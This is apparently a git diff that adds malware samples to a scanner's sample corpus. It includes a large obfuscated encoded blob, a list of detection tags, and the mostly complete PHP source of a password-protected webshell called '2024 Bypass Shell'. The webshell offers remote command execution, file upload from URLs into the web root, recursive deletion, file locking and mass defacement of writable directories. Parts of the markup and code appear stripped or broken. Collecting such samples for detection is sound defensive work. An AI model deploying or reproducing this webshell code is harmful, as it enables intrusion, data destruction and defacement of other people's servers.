CҘ+HИ/54Ƙ4Ԛ4Ԝ+آC2+2ڪCGFܜDԬDĞGԴ09ҢE8C971BJ옞A47FB7E9Ξ2D+70FD9I⠲0ĖF5䤰BҤJ6E8Hдب455H✖I++I̘G/AJ0+784+68B8HAHC54GF3D0FA6GD2513394GBʜ3B729CJEⴰ25H59GD5674DBJ934ب12CDڰG3705ꪤޮ5ĘGF+I3HAFBEԘF67H0/̲ܖGEִ980/I7+7+Ш6344ܨ8BCHGEШ057I3A95Ģ6֞5F27ΤCJD936ޚ443CA3Ң3Ȧ3DꢠҠ226JΖJԞ4H7ҤHECFBF2/IJȤ1+3515//J1HGޠ0A7I̮05Բ64EEG+9Ʈ/6G0BĤب77I8F3AJƠH6H21ڴGAC1+ܰ042E3F8+FE+ʦCC7֬ʞAƲ248HG+C/F7Ю46FHښ7+6C4Ҡ5+JGΨ++4859IB5060IDD9ȮB15B+2Į4J֢H1/DE3EG7J0A68EC0DEJ+8E4I´CҨ4G8ʢB76C1H9J04D2629C8F87879BBJ6D3вH5/+7B15EJF6BҖ7ޤBE99+ԚAJ78잮E03FCB+CȮDD55H58BJEC2Ү3GИ/¨A/G85+IGH謖212ޠB68IJEҰGB¬J̢G4GD6AEG8CCDJ+I7/1 ƤHE/аIE1FJCDƦ֠EB9596+ĘI3I5/8椮2266FȢFEFIB55КB67C/JBFDF25ڞACDҬ8DE+IIF⨘/Ԥ5H+CFԠ88¢2I2ĞD䲦D512д1CGEԜJ3ڠ0635H67AA4ʘ16/18/EIFAȢ1ޚ1H386IFDC+3DJJ/G4FF7J1GD1DFH92+8̚6+DFAE0ܰʢC1ĨB+5Ҩ3ؘ7ڬ229CIԚԨIG1GGE2Ƞ79+2ȖI8Ę/2Hд3/874+C21FHEB62G9C3JA50CBGʦ3CCBҠA1AJ7IHЬGB1GJ+3450+C1J̴9/64蚘8DHF32EF73H6+CJ֜8++HGEE0J3F8FA+3CBIܴJ/ܬFDC+/+I+E86DCFCE֚E1+HG05+B/H̰924ܖF젨/ڲADEIHE6110D7D3D/1ECC1H8990+DƮFJDҪ30F218/GD27Ҝ5142JҲ3EԬ5Ĝ5IG03ȤB7Ȳ/CDJ04JJAĘH+DРI8ޠ+J507J+0BD¤IA9AA418/2ȮG4GGGږ++26Ԧ7I493갢E/C/53ADIȢEJ0֨2FC53G+3GEޘ5276F6G̢Ԭ4ҘE03HJʘ81Ԛ+8E1ƚ31ƠDGزEC̰Ș/ҴJ1E1شH12ԖCȦ5+B25F5E5ܬ/DIIIJC䦰157FڬI0/֠89Ȭ9478䦮D0C07D06E8C6C1AA06Gڬ5DCDGIB/IDҬJܖ08ƲԬ33रC/7E즮+Iʰ1/15A°26IJҪ/Ұ99G6ФD2EJ237//D83ά/6J39I/GAEFA9/13C6ژ8ޠ48G6؞ήEE36Ę1659ΜAJ3C47587CF82ְ15̜48D+G04E/2D4894F/CJF4FF+I197BH9F11G0AĞ9IB4䰨H383HH38AAG3+3A6ܮ6024DD1A9DҰҜԞ7дI76JD3981Ȥ֚+B/FC/7JƜ3EJ̘B0Ю9EFG7F50Aܨ̨E䮦9E2B2AH1H1A29H94DڞڦڨI69̠9++B03ĄJHEG/Iޘ870ڴ/317EF/E1Ҫذ/A89J/G30ܘܠHCܘJ8HD4F+аFJ37H1+A3HAʤ̦6A+4C9Ɩ7C̮5A+II쬲G+CCƜ7410AEA8GD1ƦHG/0740AԠF2+BB̢4ҨƘ/92+39281Ȩ+8BBĖ674H+5+1ؤ5JȦ6ʨE/AFJDH+98Т90B4C2ԴڤК/+ܰDĦʬԖ97J58FD5C84JB̢7680//G¦A04A8C3HI̚GB8B+ܤCО֢GE05ĘDCADB֢άޤ/ԨEBئCEA6I5J78G29+7ʖAAGHAҜ6E0E5ҬC404/Ɯ1J5CҬ96J521E82J720//5287I0+1BACI78F5I//7Ƞ00D8ޠJ/B/9C8D/F2Ԭ41AC97I5C32D8+I+E6D/C3C3I5줢59IIHȰ450EE/8/DG9BCIJ+0+G0ACBHƘ19D88D4B5010I̴H7HԲ9/02/3578F6H蚖IܪDG0ƮJؠ2A++EH7ҪDIAH571ƬB43C9֠Ȥ8CΖFFF0HFܪJD+0G43Ȟ3DABCĨ54BGFI05I+ƨD/+H9Cܢ57֜ਨ850D7F7I237/BHBGHIFȜزڰִ+79DGަ7DFE8E0IЦ22G8A74JBH7F84AFBD8JB0098H+60J63GҜ0BҦI12D3IBDʘ9HG7ƚ3/FJDHF5762ICB6¨298325DI/+0H+9ĢDHH37AIB/982H4Ԝ1/FHCG09774278/9AID/Ъ319ޘJޮ1ĖA22015B2A7+HОD023ʚ+4Ԛ17֦IJBCְDC5BGAA5Cܦ✘HJGC3FAE19J87/ڤCܘ67ܴ4HIȜF/G45313/G/1F7AHB֮2/J346A+A8B30I804FIHΚ68FƘGCB54B4C3IDG47IJA0EG4D9835E6ΚDF5/12E0ƮH9DG+HE1AĴ0/J367ְ92II9C3+/25F2FJ+8DB05D̖ܰC1ڠIE82IްC9H1ި613ԞȮB9913+0F䢪B66Ԙ¨Ц2ʜGE19줴1HE3J¬0DG쮰D8/Ҡ0/87JؤF15ҖʚA/B2Ъ5H3C9ޚE֢B3A6Ȗ/51DBH7G/0I3JI֤B78760Ұ3EFМ6CB675+Eδ/17ҴCB֞84Μ0ܴΪ79135褢17H8B5JJȴ𦪰B5HA֮J7/34A2/6H3927A38Θ9454EDA61IC⠚7JG1DҬFܮ+8E/2HCHʬ44C373AAڬ촜3A8+/EI2E/+G+36/2FA4G6HAFC؞1C5JJ35C/968DF6J8/4493GA246F13193CEަ7FJIHܞI/JG10J37تH8HG2ڨ1B609E8FHCH3G66J3CC26J0ʜ170GƘ8/2840HG3I3JD昤0/FG3C36CBΘI+ĢCE4BI91E1МCجBJ8G9G؞++A/ؘBG8014ªꢠHBĤ1+J/FBꦢʞI+A6560ܮ04H1̰IHD5E4FE61AD9֘E/CJI20+3088EJ7065IC3ΨĬ25A1/EΠʰ+B+6䖮Jژ6ĪAGҮI6Cʚ̬̘EEDF36CJ9J9E8ڠA76Aަ+J®/ȬF6B99B5I00ĴH̰GEFED/B6D0JC4/EAGC+859FJ8659D05ȞGACԚ6Eܠª1IHG206J/HCܦ+A°6CBJ6֖5011E6/8B868ТܦJEĪECCAΞ10CAB8/FJ̚E809B/EG/C//GGDEG+5J53+/5Iܬ2®G7EF99632IA6G59ΞBAڞ0DAJBƠH074/Ʋ++43E155DĢF̖Ȝ8B7DB76I6H6B3ʨBG+3ĪHJƮDڪGH8+Ĵ7ЖCBA99DC2AAJ/J12937HȚFD53آ620H289HĴ5G36/1G螜F/Ԫ9JJ5IG3I+8ިA96I2֘FHC8+HI9Ĭ527J䬠0BIؖܖ498BFܢA3ڜ+FF0HI²/B355B754A2CH+IHD/116927ʚ+Ė1E3²F4HƘJ6䲨A3ְ2B874BHBD9I4G2GJ59DDC295223EC7FF38DH20J01F4Ң4✜7Ԫ옪97ШFޘȪJ䰨IFȢIE70/4I0Ʀδ4/13РAިCGƲHƠF6 F8̬49D19/904ஞHJ344+J1AJ2DBD蚠5JG0ޮЮ+927F4EʲȪAHGFIG0ADʴĚΞ712DG24J/1393ҴB9AȜHC+CJCE69+C7J8螲+2G8BAİH7G5I7EE+ʢF1B/H977B1IE/EH9DИ+7G63IG737ژE92IԠ3ИAC1ĬBI386F̜45B6ڞE7+1Κږ/1EJ0ID枞8D99Ү8DJACI쨖E88EΞDI7G2H1AG/JH35䲨1+7/94D8188JEEI+Т9+ޮ1H+A76526I6JJHGƦ27²AH7ԲA1+01I4ִ3//5斤1+CԮ/ȨED02B5ICشAE9A9ޘ/B2J68+54A535CA֬0F58EIH֤C14̲FED+8/69̲7F63D09ڰHΰ4FB78E1EIIBG2859J2ID2HHI19H/ΞIAG1DJشڨ8HК̴15E9Ȝ/Ơ4ȠB73/J3GƤ70F2B/7/728AިBC32AAG1H2IB5A0/J94/К8/95504/ФО3FB֖Cʦ2J/845ڢIGG/GĖ5Ħ8Р49+CDFHFH9CJ5DC93FD2H420GȮH40EI07I6ҖGGФ6ҬFBB4+I30A3/ޤ9JFJ98JD7F1֘9ږ2E5+CAECG5878B89C2ĠIH7F4Gʜ9A+25I3Aڤ05E4/CB61Eް𨤖J148A+/2D9AEBA66E7A29Ԯ85Eؠ8ޚ0Dئ943GB8βD3I1+4IEA510ް7ƮJD4EI4+E/D84/086D1ڬʲФ2+HJIآHШJꚖD36IIDBΦIC/䞚CDGʤGGҰҲ+/GC31֪Ě9ƜAA162EA0𘘞DIA582E3D29IA+BȲ403890G9̘DI1212CJG91/37ԴIE168/1옪AޤG+0GEH437F+δEIA3931CIܮ3+A8E0֜HޚC3G5J56G7Ḫ1آ3I3JD7ACBFA4ƞ34B/JE3BJJHGȴ9B1D38ƚ̚55+ު3FA09F̞A4B//G/ذAH9IC5/CF9+8J5CG°D1ЮĘE08GʘA6И8ҘʞF52A1ܮ2ĬCΨڤܚ/A2C43GBCʞFЮ62D7+7E07GC933J4CH03B贬C5/ABGΞ+DꦨD+F3ʞA9誢¢HI/Aؖ6C5I02D1AC0J갦315EC38ЪBCCGРFA1B03/+ʚ7ڦHG00JFA94DC33/9+BΤBGȞGJ095HGβ92C0CڢAFABƘ2E0蜦J/+F6BҘFAEA6CF4421F7Ơ0DD4057ޚF48AԤF966CFBBH8G9+7204DF6J8H257372H52+2FA63FEH4I+9C//0DA9C®E5ʰH13D44F+/F9Ĭ+67C5/3+ΚC57817ܞ9Ьꢞ+/7/̤A5B+FJ+G8122A5FI¢H5A1IB4622JFʘ0ԖޚFH̤+I22I/2J40AF檜5H07GE0HD梜44A3G22A械18DBТJJ5DH+JIHAA4A/3BJA29A853JH1CH̰/G6FDDE51ܬIТ+CCܦFBEIG54A14GJ9IHI9C1D8HB2ʚ8DFCF4/CB̴48BJA0ܴ+6F7̠88J¢H0I55IJ7686+8DF2̞C21EG449G0J1D97ĪBI4/01+H̠FDJִB3ЖG薢DB0/BAJE/C9AD26B´JEڰڲ4B4Aƞ/B199HE7ƢC8EEIⲞF74/7BIAGGAC3E6I¨4+944δJ2FA0H60ʘҰ/4EE05BȘA/Җ2G822®1ڞI+22A줖GҴ99ެ48394B783ܠFCGA0EBH68J3ƪ/D02ȠIGHEAIܘ촠D4JذIC9J33DI792B5G37F7첞JޮI5CI5043IJʲ7GB+0HBE9A6ʖBG¢0C+48дHA6I/3339G/8A0B9ؤDG22427ԜCF204D1֤F2+004ΞئB/5++8HB6641G73ADD4+FFE05G7ޞڰ0JGA0ޞ59ئ46ڢ4ƜBE423400F03H6C1AIޖ350ښJ6/BȠ7F82¦ܴ+8EFB1619/0֜+0EGI0ƚ6G8̦8/G5ADH55DCAEI150F0C6EEH1̢1462ؠ6JC66D8²EԜ젘255FECA3E90+ΤH洞DAزICܞ֖Ҥ431+070FʚDFD+9+FD9/8CβBE5F2HH176ꮰ++4663責0BڲAE600D̴JE9IC/6H93̞Ԥ790ޘ5JG/G3JH6B2607J6氜AE26C2H6昞02BCE51䨠F+/H375308A5AIFܤ45A15D58CFAG0ܴҮ/36JH3539A9BDΜFHA47249+1+518/ƠG+314ޤF61J6D//F7䮦3A85BJ+/H8䰚6DE⪚4E1DJ934F//06BE+E2ĨCD1AޖBC4/AIBF3F56+GGҴ2AFGG̖209ҮB74004G631Iܖ8ִHJ֘3J/BF4ڨAH9E1C1E+Р8G4枪9H032DܮF4+/90AȦ+JGEƲޢ9G0CG09Ĵ4ڤܤC5+ஞ07A0AGDDԢت74Ȣ75+Bب78ڰDʴ+C98 02DDDԲGF31IF+A/Φ+C3+FC7B/5+蠦0̬91̮BE4EԬHA/96+1/J1ڪD04+IްƮԲܬA9D5GجG435E8G6FC07508I72+B168+DB3GְE8+9AIH143FJ3FAG+2䚠JF7CI3C+8B2/9A+05984J041AH196B24Ϊ6GƚA֖670FD2ڦʮ/5ުʢB䚬+FJIB384A34̲1ʰ9Eª1+1/6216J70FIEG490ΨEG5ꤖB1Ҥ9C/1E764+6ҞFڪ/674ҘAEG38GHΨG+3IB8A9¬54+4/0BҴ7ܜ+/J8HF17A¨36+60B8C䤘+D2/1Ұ9EFCFΜGдJ4IĴ07205J/CCJIژ5B61B7I7EIE97DȨGȨJDIIFFAƨ6H֪CJƢI6I47JJ2282+BA+9CF09409B̤20/F7+DHĨڨ+8CG0J0J8ʲGE18B0EJܦҤ9HC011ږ֘ҢA1C8IJ72BIƬ3C90+EJ/22BJ3JA5H1ަ67FDޚ/欚0ʤ؞475IG4H7A0D0ިHʖ9ئH91C+FJشIƚ84JGA1DJB6ڞȘI73009쪪G/220ҜGƞ̚+/HަҤ֤IGB221I´69GԲ75ܴئ9Gư7¦+6JJE9A06IE58949BG7H3+9ޘEH1DEҤ7B83G➠CܪA9DCCB58H2J5/6G3G625²/G7GI+F0H77679+/60+26ڢ253432E21/Ԝ1Ȩ0JܴFD/IAAB25J3EҤ94CHBF18DCJ4Բ3ʠ79Aܚ4ʠԚ9FBEB2692IG1HƴԜ0778B4/64592IHJIG44E7ҚE/3/ذD92̲3ʮ9697JH833Ě/7GФG+ܠ5ޞ3Dެ7ز641A332ژEIGҘ86JDCԴܢA+DBGB++Ⲫ5؞ܲCG9+5C4B5C84681Aʦ19ƘIĢC2J2Ҫ15GH7E/ĠA16/Ь79EAج252J85BĤCIFDОʲH¬Ԟ21DFE0EC05 IC37J/Ȥ/0BGG39+55757Eİ52/DD7ID27IIDF+ȖIȲ4/IFGBDFI00307ޖAĠJ¢95756֪586CE䢬7//622B0144J+4ֲ7J19JHIE5ȪGªβư22GI5ƴE2䤜7B8/֮1JIJ++207EGG̰+742H45I05A62ަƠܠHC9628JC70G֚J6B+Ȯ21BB3̪89I20EȜHC6H1FCH97+8Тڬ4300Ȳ+BE39D09GDCȢF73+H5GI7GI4Iذ5EBJĞEФ5ܜG316A0CB1E1ƴJ2+0DEC3J2Ԩ6ҰE59DCG̪7E1آ2J3CHJABȤBA84B41467ಠE0HBAE7ĘF+J3HG08GBF1̦+2E0J+2ܤԠAJ2CF3EȚ5GJ73BE12IG50DB8C7/A41D3GFG2A2G0/67FH0J0Ϊ4/44II+Jƞ/0D7/93HܞJ1/80/I1E栚146B2GA4+/CGEꤰB0ڦ1I9/Բ7G38I6AI4BE+A24CAE0+GȬ1/426ĢܚGƮ7F4ҦHIGҜ/CԤC1̪¢7C57I865HԢD368IEȢH17ت2FР/H629102J246ȢⲖAHI2̠5806C877+7DEޮE1DԮE/1ܜ69EH5B8G+HIIFI7J0A1BAA1JD6D/̴֠F8ƨEJ99̦D5F6ȖFJ577D2IުIĮ+G+0E5EԤҨ7/7I6Ԣ0¨G褜673ΰ1AD5JBG08+D754ؤ9G6ԢH06E7֤IH72DҜ6䰢87228Ȣ2IJ̜A66ܲDBA6G/1/ΨE+D724C21I89777Ȝ6824E/GجI8EG31GH0FEȜ4+9CE8ICJ486//95CEI7H3935F24FGܚAܪAEJ32E4ʰE/3EFC91G3ܲI+ޜ9Ȝ겨J7JH282ʨAȨD/2+HܮCDƢ0220F8FD112ƬCBH9Ξ9CCʘC3ƖJI4894ެJ143/48B1H/8F67E6螘G9I1A9Ԩ00E5IC+HE氨DCEE6BI3ަJ26467AIĴ+9+Ʀ1Eδ+/A69CGB3IJJ3ή9ܘΘ952086EC0/34305A59B84Т4BE̜/F4F/CF8=2FABB1J1JADABAA1BƞBFBBA; \ No newline at end of file diff --git a/samples/PHP/2024.S3RV4N7-SHELL/crot.php.simple b/samples/PHP/2024.S3RV4N7-SHELL/crot.php.simple new file mode 100644 index 00000000..42a174f0 --- /dev/null +++ b/samples/PHP/2024.S3RV4N7-SHELL/crot.php.simple @@ -0,0 +1,10 @@ +# PHP/2024.S3RV4N7-SHELL/crot.php +3P/php-malware/nonprintablechars +3P/php-malware/obfuscatedphp +3P/php-malware/websites +3P/signature_base/webshell/php +combo/backdoor/php +encoding/base64 +evasion/base64/decode +ref/site/url +techniques/code_eval diff --git a/samples/PHP/2024.malcure/simple.php b/samples/PHP/2024.malcure/simple.php new file mode 100644 index 00000000..2fee107f --- /dev/null +++ b/samples/PHP/2024.malcure/simple.php @@ -0,0 +1,3 @@ + +alert("Password Wrong!, Try Again.");'; + } + } + if (isset($_GET['logout'])) { + session_unset(); + session_destroy(); + header("Location: ".$_SERVER['PHP_SELF']); + exit(); + } + if (!isset($_SESSION['forbidden'])) { + ?> + + +
+
+ +NONE"; +} else { + $disf = "".$disfunc.""; +} + +function author() { + echo " 2024 Bypass Shell |
'; +if (isset($_POST['upwkwk'])) { + if (isset($_POST['berkasnya'])) { + if ($_POST['dirnya'] == "2") { + $lokasi = $_SERVER['DOCUMENT_ROOT']; + } + $data = @file_put_contents($lokasi."/".$_FILES['berkas']['name'], @file_get_contents($_FILES['berkas']['tmp_name'])); + if (file_exists($lokasi."/".$_FILES['berkas']['name'])) { + echo "File Uploaded ! ".$lokasi."/".$_FILES['berkas']['name']." "; + } else { + echo "Failed to Upload ! "; + } + } elseif (isset($_POST['linknya'])) { + if (empty($_POST['namalink'])) { + exit("Filename cannot be empty !"); + } + if ($_POST['dirnya'] == "2") { + $lokasi = $_SERVER['DOCUMENT_ROOT']; + } + $data = @file_put_contents($lokasi."/".$_POST['namalink'], @file_get_contents($_POST['darilink'])); + if (file_exists($lokasi."/".$_POST['namalink'])) { + echo "File Uploaded ! ".$lokasi."/".$_POST['namalink']." "; + } else { + echo "Failed to Upload ! "; + } + } +} +echo " |
Sukses Green All Files
"; + echo "Sukses Lock All Files
"; + echo "Sukses Lock All Folders
"; + echo "Sukses Green All Folders
"; + echo "".exe($_POST['cmd']).""; + } + } + else { + files_and_folder(); + } + } +} +function massdeface($dir, $file, $filename, $type = null) { + $scandir = scandir($dir); + foreach($scandir as $dir_) { + $path = "$dir/$dir_"; + $location = "$path/$filename"; + if($dir_ === "." || $dir_ === "..") { + file_put_contents($location, $file); + } + else { + if(is_dir($path) AND is_writable($path)) { + print "[".color(1, 2, "DONE")."] ".color(1, 4, $location)."
".htmlspecialchars(file_get_contents($_GET['fileloc'])).""; + author(); +} elseif (isset($_GET['pilihan']) && $_POST['pilih'] == "hapus") { + if (is_dir($_POST['path'])) { + xrmdir($_POST['path']); + if (file_exists($_POST['path'])) { + red("Failed to delete Directory !"); + } else { + green("Delete Directory Success !"); + echo "string"; + } + } elseif (is_file($_POST['path'])) { + @unlink($_POST['path']); + if (file_exists($_POST['path'])) { + red("Failed to Delete File !"); + } else { + green("Delete File Success !"); + } + } + elseif($_GET['do'] === "mass") { + if($_POST['start']) { + if($_POST['mass_type'] === 'singledir') { + print "
".$dir." | +|||
$file | +